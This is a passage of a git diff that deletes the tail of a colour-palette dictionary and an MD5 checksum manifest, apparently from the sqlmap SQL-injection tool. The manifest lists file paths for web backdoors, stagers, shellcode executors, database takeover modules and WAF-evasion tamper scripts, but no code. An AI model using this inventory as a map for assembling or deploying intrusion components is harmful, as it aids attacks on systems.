[(254, 229, 217), (252, 174, 145), (251, 106, 74), (203, 24, 29)], - 'reds5': [(254, 229, 217), (252, 174, 145), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds6': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (222, 45, 38), (165, 15, 21)], - 'reds7': [(254, 229, 217), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds8': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (153, 0, 13)], - 'reds9': [(255, 245, 240), (254, 224, 210), (252, 187, 161), (252, 146, 114), (251, 106, 74), (239, 59, 44), (203, 24, 29), (165, 15, 21), (103, 0, 13)], - 'set13': [(228, 26, 28), (55, 126, 184), (77, 175, 74)], - 'set14': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163)], - 'set15': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0)], - 'set16': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51)], - 'set17': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40)], - 'set18': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191)], - 'set19': [(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191), (153, 153, 153)], - 'set23': [(102, 194, 165), (252, 141, 98), (141, 160, 203)], - 'set24': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195)], - 'set25': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84)], - 'set26': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47)], - 'set27': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148)], - 'set28': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148), (179, 179, 179)], - 'set310': [(141, 211, 199), (188, 128, 189), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set311': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set312': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 237, 111), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set33': [(141, 211, 199), (255, 255, 179), (190, 186, 218)], - 'set34': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114)], - 'set35': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211)], - 'set36': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98)], - 'set37': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105)], - 'set38': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229)], - 'set39': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'spectral10': [(158, 1, 66), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral11': [(158, 1, 66), (50, 136, 189), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165)], - 'spectral3': [(252, 141, 89), (255, 255, 191), (153, 213, 148)], - 'spectral4': [(215, 25, 28), (253, 174, 97), (171, 221, 164), (43, 131, 186)], - 'spectral5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 221, 164), (43, 131, 186)], - 'spectral6': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral7': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (255, 255, 191), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral8': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral9': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'ylgn3': [(247, 252, 185), (173, 221, 142), (49, 163, 84)], - 'ylgn4': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (35, 132, 67)], - 'ylgn5': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn6': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn7': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn8': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn9': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 104, 55), (0, 69, 41)], - 'ylgnbu3': [(237, 248, 177), (127, 205, 187), (44, 127, 184)], - 'ylgnbu4': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (34, 94, 168)], - 'ylgnbu5': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu6': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu7': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu8': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu9': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (37, 52, 148), (8, 29, 88)], - 'ylorbr3': [(255, 247, 188), (254, 196, 79), (217, 95, 14)], - 'ylorbr4': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (204, 76, 2)], - 'ylorbr5': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr6': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr7': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr8': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr9': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (153, 52, 4), (102, 37, 6)], - 'ylorrd3': [(255, 237, 160), (254, 178, 76), (240, 59, 32)], - 'ylorrd4': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (227, 26, 28)], - 'ylorrd5': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd6': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd7': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], - 'ylorrd8': [(255, 255, 204), (255, 237, 160), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], -} - - -if __name__ == '__main__': - main() diff --git a/txt/checksum.md5 b/txt/checksum.md5 deleted file mode 100644 index 6bef32eac9b..00000000000 --- a/txt/checksum.md5 +++ /dev/null @@ -1,500 +0,0 @@ -7ad922bcc16462a101862b1b0b15182f COMMITMENT -3d37032b2bd62ee37bd61c5b7ad31ab4 extra/beep/beep.py -fb6be55d21a70765e35549af2484f762 extra/beep/__init__.py -8b4237aae3b82c325e0b34f6adfa0bc3 extra/cloak/cloak.py -fb6be55d21a70765e35549af2484f762 extra/cloak/__init__.py -1046e46c8923ec5afe4f6f1ca3ee55bb extra/dbgtool/dbgtool.py -fb6be55d21a70765e35549af2484f762 extra/dbgtool/__init__.py -acba8b5dc93db0fe6b2b04ff0138c33c extra/icmpsh/icmpsh.exe_ -216a0e04bef7053e6aa35ca98907007e extra/icmpsh/icmpsh_m.py -2d020d2bdcee1170805f48839fdb89df extra/icmpsh/__init__.py -fb6be55d21a70765e35549af2484f762 extra/__init__.py -ff90cb0366f7cefbdd6e573e27e6238c extra/runcmd/runcmd.exe_ -fb6be55d21a70765e35549af2484f762 extra/safe2bin/__init__.py -c26cfad6b77b44a1317cd058b4477ce0 extra/safe2bin/safe2bin.py -d229479d02d21b29f209143cb0547780 extra/shellcodeexec/linux/shellcodeexec.x32_ -2fe2f94eebc62f7614f0391a8a90104f extra/shellcodeexec/linux/shellcodeexec.x64_ -c55b400b72acc43e0e59c87dd8bb8d75 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -a32e12410e0f86c1d035db6daae84680 extra/shutils/duplicates.py -1cf0ecf81a0483c3de78ac683445ac7a extra/shutils/newlines.py -9626f1f72dc96dbdecb1ea7404811902 extra/shutils/pylint.py -80f989adc6d4fa999b414c0787a06c1b extra/shutils/regressiontest.py -fb6be55d21a70765e35549af2484f762 extra/sqlharvest/__init__.py -4f82e97b09cc530cb9a92472d0835cea extra/sqlharvest/sqlharvest.py -fb6be55d21a70765e35549af2484f762 extra/wafdetectify/__init__.py -aec73042403993076f478da48066a79e extra/wafdetectify/wafdetectify.py -ec782b9cdb8d857a80b6ecf0f32db7f4 lib/controller/action.py -d392dbccdb59ac36530c1182675a2609 lib/controller/checks.py -8581acf56b8fb0def50af3707490a834 lib/controller/controller.py -c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py -fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py -ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py -a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -e253cc58cb0d2bc01a68cfbe58266435 lib/core/common.py -de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py -abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py -e1f7758f433202c50426efde5eb96768 lib/core/datatype.py -1646402a733e564f05025e848b323cf9 lib/core/decorators.py -5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py -9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -4ba141124699fd7a763dea82f17fe523 lib/core/dump.py -5c91145204092b995ed1ac641e9e291d lib/core/enums.py -84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py -fb6be55d21a70765e35549af2484f762 lib/core/__init__.py -18c896b157b03af716542e5fe9233ef9 lib/core/log.py -fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -fca2d30cc9f9f5906e53542b2a9c247e lib/core/option.py -fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py -4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py -d5ef43fe3cdd6c2602d7db45651f9ceb lib/core/readlineng.py -7d8a22c582ad201f65b73225e4456170 lib/core/replication.py -3179d34f371e0295dd4604568fb30bcd lib/core/revision.py -d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -92a41d5a203138d85c80e2ab76a744e4 lib/core/settings.py -4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py -10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py -43772ea73e9e3d446f782af591cb4eda lib/core/target.py -7857b24b7865ccb4a05283faa596974d lib/core/testing.py -e9788d2992f842cf91ab67389bf4372a lib/core/threads.py -2c263c8610667fdc593c50a35ab20f57 lib/core/unescaper.py -54e9cd1968adea11283d44631f0ca400 lib/core/update.py -5b3f08208be0579356f78ce5805d37b2 lib/core/wordlist.py -fb6be55d21a70765e35549af2484f762 lib/__init__.py -4881480d0c1778053908904e04570dc3 lib/parse/banner.py -87a1d50411e74cd0afb2d1bed30f59d4 lib/parse/cmdline.py -06ccbccb63255c8f1c35950a4c8a6f6b lib/parse/configfile.py -d34df646508c2dceb25205e1316673d1 lib/parse/handler.py -43deb2400e269e602e916efaec7c0903 lib/parse/headers.py -77e802323ffa718dd9c27512656c0a70 lib/parse/html.py -fb6be55d21a70765e35549af2484f762 lib/parse/__init__.py -adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py -993104046c7d97120613409ef7780c76 lib/parse/sitemap.py -e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py -97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py -fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -2fde12a95133b26699e26a5c56311c38 lib/request/connect.py -7cba86090b02558f04c6692cef66e772 lib/request/direct.py -2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py -ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py -fb6be55d21a70765e35549af2484f762 lib/request/__init__.py -338f39808f63af8d4f4afe9e7b0665a2 lib/request/inject.py -52a067bd2fe91ea9395269a684380cbb lib/request/methodrequest.py -ac482ec52227daf48f523827dd67078f lib/request/pkihandler.py -16ff6e078819fe517b1fc0ae3cbc1aa8 lib/request/rangehandler.py -921db487a5879b219af1216d7eaccf74 lib/request/redirecthandler.py -1e60edebdb3997055616d12f4a932375 lib/request/templates.py -eafa28e4beb2b7492dfc8036033ac824 lib/takeover/abstraction.py -ac9efea51eba120b667b4b73536d7f1c lib/takeover/icmpsh.py -fb6be55d21a70765e35549af2484f762 lib/takeover/__init__.py -d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py -6b5b841d445b7b973c2e033edfb01b16 lib/takeover/registry.py -ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py -915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py -1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py -96f120e4299baaea4defd902afc85979 lib/techniques/blind/inference.py -fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py -fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py -ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py -13a80dfa26c53246d4a353c11c082d5d lib/techniques/dns/use.py -fb6be55d21a70765e35549af2484f762 lib/techniques/error/__init__.py -7b58029a51b9bf989d18e5bb6e99635c lib/techniques/error/use.py -fb6be55d21a70765e35549af2484f762 lib/techniques/__init__.py -fb6be55d21a70765e35549af2484f762 lib/techniques/union/__init__.py -9d9a6148f10693aaab5fac1273d981d4 lib/techniques/union/test.py -e141fb96f2a136bafd6bb2350f02d33b lib/techniques/union/use.py -936e5cb1bc25c69f0716df1c2900f52a lib/utils/api.py -544dee96e782560fe4355cbf6ee19b8c lib/utils/brute.py -b27421eb57cea711050135f84be99258 lib/utils/crawler.py -da4bc159e6920f1f7e45c92c39941690 lib/utils/deps.py -f7c64515a3e4fcfe8266ca2be77be565 lib/utils/getch.py -0d497906b06eb82d14da676e9f9c98f5 lib/utils/har.py -ce65061a15d7b609b36c672b8e824f78 lib/utils/hashdb.py -07412688758500c3b4e46ae7e28e9709 lib/utils/hash.py -17009289bb5c0dc0cceaa483113101e1 lib/utils/htmlentities.py -fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py -833b05c72c9fa60b0a25b0a26f8f31fb lib/utils/pivotdumptable.py -25bbebf0178b106e83ca5e95b51b43f6 lib/utils/progress.py -b79654e49850937ab2dc8e0d73625cab lib/utils/purge.py -503637fbdabaad5bc7f87dfcfbea4dd3 lib/utils/search.py -272a538a3d36186113191f4c543bb34b lib/utils/sqlalchemy.py -68f90f633d812ca428d2f15f016b2d96 lib/utils/timeout.py -164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py -a5007113e3cda726e1d131b99b927284 lib/utils/xrange.py -28da82c0afa4d8a0e9848f7bd8e994b7 LICENSE -b8656f4785d0945e68257107a171f945 plugins/dbms/access/connector.py -b0e4f4aed8504f97d4044620d3a7d27d plugins/dbms/access/enumeration.py -58d664d680087596965f95b482157320 plugins/dbms/access/filesystem.py -50e2991ae3f0a1eaf49fd10dcd041d92 plugins/dbms/access/fingerprint.py -bd8faded88ef80cde33b747d8181192d plugins/dbms/access/__init__.py -f36a8b05ea1a25254e03dc3bd44b1261 plugins/dbms/access/syntax.py -1a4e639d2a946792401cf5367ef661a5 plugins/dbms/access/takeover.py -8f30dffb6cc7738adb5e83c2c6efb30f plugins/dbms/db2/connector.py -0f2e682ced8f91b1ec8bdf08c925b5a4 plugins/dbms/db2/enumeration.py -1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/db2/filesystem.py -e003fe19474305af522d8d6c6680db17 plugins/dbms/db2/fingerprint.py -f2fb5a3763f69cde1b1d520f8bd6a17a plugins/dbms/db2/__init__.py -61b06dce1b9a0a2f9962266a9c9495a5 plugins/dbms/db2/syntax.py -fcbd61e7ac30eb4c8f09ffd341fa27bb plugins/dbms/db2/takeover.py -105b3dc94af3fdc22e90637ca9851da5 plugins/dbms/firebird/connector.py -f43ca05279e8fce4f02e4948d4af8fda plugins/dbms/firebird/enumeration.py -15a3a49824324c4cca444e6e63f84273 plugins/dbms/firebird/filesystem.py -6b505575b98694fd8e6a19870305db18 plugins/dbms/firebird/fingerprint.py -be722d08b76ed73da11af7a35ddf035d plugins/dbms/firebird/__init__.py -82db6676645cc6c3cabad0b346ef92f9 plugins/dbms/firebird/syntax.py -ebf3557dd97204bf1431f0f8fca3b7d6 plugins/dbms/firebird/takeover.py -573380d437402bf886cef1b076a48799 plugins/dbms/h2/connector.py -695f3c809f2af91cc1719e8b9bd9a7e7 plugins/dbms/h2/enumeration.py -add850d6aa96a3a4354aa07d2f2395e7 plugins/dbms/h2/filesystem.py -eb7adf57e6e6cdb058435f4fa017e985 plugins/dbms/h2/fingerprint.py -4d838e712aaee541eb07278a3f4a2d70 plugins/dbms/h2/__init__.py -5a1e5c46053ec1be5f536cec644949b5 plugins/dbms/h2/syntax.py -5afbe4ae5ab3fe5176b75ac3c5a16fae plugins/dbms/h2/takeover.py -13ed609d378459b40f44f094beb55a5c plugins/dbms/hsqldb/connector.py -cfc9923fe399f1735fb2befd81ff12be plugins/dbms/hsqldb/enumeration.py -e4366df5a32c32f33be348e880714999 plugins/dbms/hsqldb/filesystem.py -5d5c38e0961c5a4dade43da7149f2a28 plugins/dbms/hsqldb/fingerprint.py -5221fe018709e60663cae7c5d784ad60 plugins/dbms/hsqldb/__init__.py -5a1e5c46053ec1be5f536cec644949b5 plugins/dbms/hsqldb/syntax.py -e77d9be343fe7820a594d7b02f8d0b55 plugins/dbms/hsqldb/takeover.py -f2bf868a83538168a3384904e2264419 plugins/dbms/informix/connector.py -4af6786b459ddbb666c5c765bf2a1158 plugins/dbms/informix/enumeration.py -1ac13df2e0f04f312f522e9d8c13b692 plugins/dbms/informix/filesystem.py -ed2bdb4eb574066521e88241a21f4bf7 plugins/dbms/informix/fingerprint.py -3ae2c32b58939dce2f934b9f79331798 plugins/dbms/informix/__init__.py -15b01ef55db3f3f1e77ad8cf77d0c27a plugins/dbms/informix/syntax.py -fcbd61e7ac30eb4c8f09ffd341fa27bb plugins/dbms/informix/takeover.py -fb6be55d21a70765e35549af2484f762 plugins/dbms/__init__.py -ad0b369b6b81a427abede09784db91c5 plugins/dbms/maxdb/connector.py -c96d31697b0ea9b81a8ae19b00e220f5 plugins/dbms/maxdb/enumeration.py -7886148c3d6114d43aa1d78b0512fe12 plugins/dbms/maxdb/filesystem.py -691c86dc54cf3cc69b0f5a5ea5fe9a3c plugins/dbms/maxdb/fingerprint.py -8ad820fdfd2454363279eda7a9a08e6e plugins/dbms/maxdb/__init__.py -8fe248263926639acf41db3179db13d0 plugins/dbms/maxdb/syntax.py -479ce664674859d0e61c5221f9e835fd plugins/dbms/maxdb/takeover.py -6ef95017815eb5d2d0f5645a6f5c7a79 plugins/dbms/mssqlserver/connector.py -2f61dfdc00b780d015a8d3b8e9a23d8d plugins/dbms/mssqlserver/enumeration.py -bb02bdf47c71ed93d28d20b98ea0f8c6 plugins/dbms/mssqlserver/filesystem.py -bcabbf98e72bf3c6e971b56d8da60261 plugins/dbms/mssqlserver/fingerprint.py -6bffd484ef47111dd8a6e46e127ab5c7 plugins/dbms/mssqlserver/__init__.py -fae49b96d1422171b8f8c79f42aa56c9 plugins/dbms/mssqlserver/syntax.py -a5aa91bd7248d4f7ad508cf69f45696d plugins/dbms/mssqlserver/takeover.py -dbd6121fcc92249ee0c023ee28e30274 plugins/dbms/mysql/connector.py -a94bde2f4dcf3a5f166302d07ea32907 plugins/dbms/mysql/enumeration.py -81c762ceba0892d0d6d78d70f513d20a plugins/dbms/mysql/filesystem.py -fd79ec2504b6bada7d2da233a549af53 plugins/dbms/mysql/fingerprint.py -040835bde6be85ebc1a6667dcd08940e plugins/dbms/mysql/__init__.py -dd6bd1d3d561755b96e953ede16cb8fc plugins/dbms/mysql/syntax.py -6c91ef5b5a6cd29cef4bd9bc3c369454 plugins/dbms/mysql/takeover.py -82ed71cf0e9283859b61c88325255eb2 plugins/dbms/oracle/connector.py -3266e81eb4a3c083d27c7a255be38893 plugins/dbms/oracle/enumeration.py -5bdd5288c8303ea21a5f8409332e32a1 plugins/dbms/oracle/filesystem.py -8813f44f3b67fc98024199c7b8398811 plugins/dbms/oracle/fingerprint.py -c7bb3f112aad2ea7ea92e036e9aab6a7 plugins/dbms/oracle/__init__.py -2676a1544b454f276c64f5147f03ce02 plugins/dbms/oracle/syntax.py -8da7c9ee0a0e692097757dfc2b5fefe0 plugins/dbms/oracle/takeover.py -393a17dc8cb982ebb27665ead6b84bf1 plugins/dbms/postgresql/connector.py -86f0e0c9c4bc155c93277e879e3c3311 plugins/dbms/postgresql/enumeration.py -d68b5a9d6e608f15fbe2c520613ece4a plugins/dbms/postgresql/filesystem.py -2af014c49f103cb27bc547cc12641e2b plugins/dbms/postgresql/fingerprint.py -fb018fd23dcebdb36dddd22ac92efa2c plugins/dbms/postgresql/__init__.py -290ea28e1215565d9d12ede3422a4dcf plugins/dbms/postgresql/syntax.py -339bc65824b5c946ec40a12cd0257df1 plugins/dbms/postgresql/takeover.py -014968f7b28abe3ca8e533843a017453 plugins/dbms/sqlite/connector.py -6a0784e3ce46b6aa23dde813c6bc177f plugins/dbms/sqlite/enumeration.py -3c0adec05071fbe655a9c2c7afe52721 plugins/dbms/sqlite/filesystem.py -4d00b64bbfb2572a4a3a3330f255cc54 plugins/dbms/sqlite/fingerprint.py -582165c3e31ec5bf919db015c2e9bb2b plugins/dbms/sqlite/__init__.py -1ca5b1d7c64686827e80988933c397fa plugins/dbms/sqlite/syntax.py -224835bf71e99bac6e50b689afac5122 plugins/dbms/sqlite/takeover.py -1f726d02ce4c709c0a3d327be947c72b plugins/dbms/sybase/connector.py -ac1cef8f0d14be9ea71e6627e25a9c60 plugins/dbms/sybase/enumeration.py -9f16fb52a70e5fb01876f1bc5f5ef532 plugins/dbms/sybase/filesystem.py -69c104c5a2ff3e2c88a41205bb96d812 plugins/dbms/sybase/fingerprint.py -2fae8e5d100fc9fb70769e483c29e8fb plugins/dbms/sybase/__init__.py -ec3f406591fc9472f5750bd40993e72e plugins/dbms/sybase/syntax.py -369476221b3059106410de05766227e0 plugins/dbms/sybase/takeover.py -312020bc31ffb0bc6077f62e6fff6e73 plugins/generic/connector.py -d749b7f7b4bcf1f646290dec739f1e6d plugins/generic/custom.py -791db3be35714c9a2e55a7abe9127da4 plugins/generic/databases.py -4cf8eb3719c980c54a92f838a999d090 plugins/generic/entries.py -f3624debb8ae6fbcfb5f1b7f1d0743d1 plugins/generic/enumeration.py -cda119b7b0d1afeb60f912009cdb0cf5 plugins/generic/filesystem.py -65e75cd3c2c7acffa6ac13b086e0f383 plugins/generic/fingerprint.py -fb6be55d21a70765e35549af2484f762 plugins/generic/__init__.py -de1928d6865547764ae9a896da4bf1d4 plugins/generic/misc.py -c95bf3dec22cc638100efef99e2ccc3c plugins/generic/search.py -1989f6cbed217f4222dc2dce72992d91 plugins/generic/syntax.py -44c388ea08d4296e2bf2706e19cbe64a plugins/generic/takeover.py -f57914512ae22521b988b5094f1a0d6f plugins/generic/users.py -fb6be55d21a70765e35549af2484f762 plugins/__init__.py -5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_ -158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_ -595f711adf1ecb5f3b9a64532b04d8b9 shell/backdoors/backdoor.jsp_ -09fc3ed6543f4d1885e338b271e5e97a shell/backdoors/backdoor.php_ -ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ -4e6d2094bd6afe35032fb8bc8a86e83c shell/stagers/stager.aspx_ -0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ -2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ -41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -76998d373c6aef8d36d617a9b21d6eaf sqlmap.py -772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py -3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py -1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py -b1d9fb70a972565f54655f428c3ac329 tamper/appendnullbyte.py -a48ddba5854c0f8c7cac78034ab8cbfa tamper/base64encode.py -ead9e7a87360ddd13bf1de2d6b36b491 tamper/between.py -01cc36d46038c9480366cac98898fe39 tamper/bluecoat.py -ba5ebde73da33956fe911e11f025e645 tamper/chardoubleencode.py -2e3e97cfad12090b9bd1c74b69679422 tamper/charencode.py -6ac8f2b28d5686b38c9f282ee18d0d39 tamper/charunicodeencode.py -dfb7f2eac76f63a73d0d7f40d67b0ff0 tamper/charunicodeescape.py -d56dd22ef861d4fc15fb5eb6bd026ff0 tamper/commalesslimit.py -6795b3d686297cd30c6c187b49b88446 tamper/commalessmid.py -098941e3b27eb4175287f28a00f1ef4c tamper/commentbeforeparentheses.py -a26a9bb4bd911aab7d84504cfa1ebdba tamper/concat2concatws.py -7ca2e1b08858a131ba58d3c669241c95 tamper/equaltolike.py -9a7e8d28ec31c1f9076c9dc1af9cbe04 tamper/escapequotes.py -6c7e8474ab7c5c2e07c4601b69a62fc1 tamper/greatest.py -c1709d45874eace00c0679d482829974 tamper/halfversionedmorekeywords.py -20b0c7c888cdb11e00100dcc3226d685 tamper/htmlencode.py -1a81558b83b218445039911f26475e86 tamper/ifnull2casewhenisnull.py -ed1dcf9292a949b43a2d32b0c0fc2072 tamper/ifnull2ifisnull.py -7dbaaf62b80b29cf807806e515488ce1 tamper/informationschemacomment.py -fb6be55d21a70765e35549af2484f762 tamper/__init__.py -5c4ac7c3f8d4724737a4307eb3bead20 tamper/least.py -80d9bd948c353fed81dc7b06840acbaa tamper/lowercase.py -ee5fd7d806531737987d5d518be2e9a9 tamper/luanginx.py -b50ecb14fc88963bd20d1433e8c27fcd tamper/modsecurityversioned.py -26ed48a6f984cbcd94f99895b2bc6da2 tamper/modsecurityzeroversioned.py -b4099f36131eabf64f9ae287a67f79c4 tamper/multiplespaces.py -2c3d05be881074e5bf72cece194b2011 tamper/overlongutf8more.py -d0a25188761286f7d464e9d166d22930 tamper/overlongutf8.py -97a8378552cd4cd73c42c575228b6ab0 tamper/percentage.py -6984dda440f06fc1887b4087760bda34 tamper/plus2concat.py -60c97825e2dbd40562c01ab65f25948f tamper/plus2fnconcat.py -277726cc91a5f57dbcae037c9986ef0c tamper/randomcase.py -a88b92c7288aafe04926c49541c0dc38 tamper/randomcomments.py -b70566435b25f0995a651adaf5d26c0d tamper/space2comment.py -3ef82de711f7d9e89f014c48851508f1 tamper/space2dash.py -d46a0acbb24d33704763191fd867ca78 tamper/space2hash.py -703686f68988c9087b6dcef23cb40a03 tamper/space2morecomment.py -dda73a08c44850c097a888128102edd5 tamper/space2morehash.py -b4c550d42994001422073ccb2afc37a4 tamper/space2mssqlblank.py -d38f95ea746038856fa02aab16064d83 tamper/space2mssqlhash.py -a308787c9dad835cb21498defcd218e6 tamper/space2mysqlblank.py -75eef8086f8f6edf9d464277c9f1c1f5 tamper/space2mysqldash.py -dc99c639a9bdef91a4225d884c29bb40 tamper/space2plus.py -190bc9adca68e4a628298b78e8e455e8 tamper/space2randomblank.py -eec5c82c86f5108f9e08fb4207a8a9b1 tamper/sp_password.py -64b9486995d38c99786f7ceefa22fbce tamper/symboliclogical.py -08f2ce540ee1f73b6a211bffde18e697 tamper/unionalltounion.py -628f74fc6049dd1450c832cabb28e0da 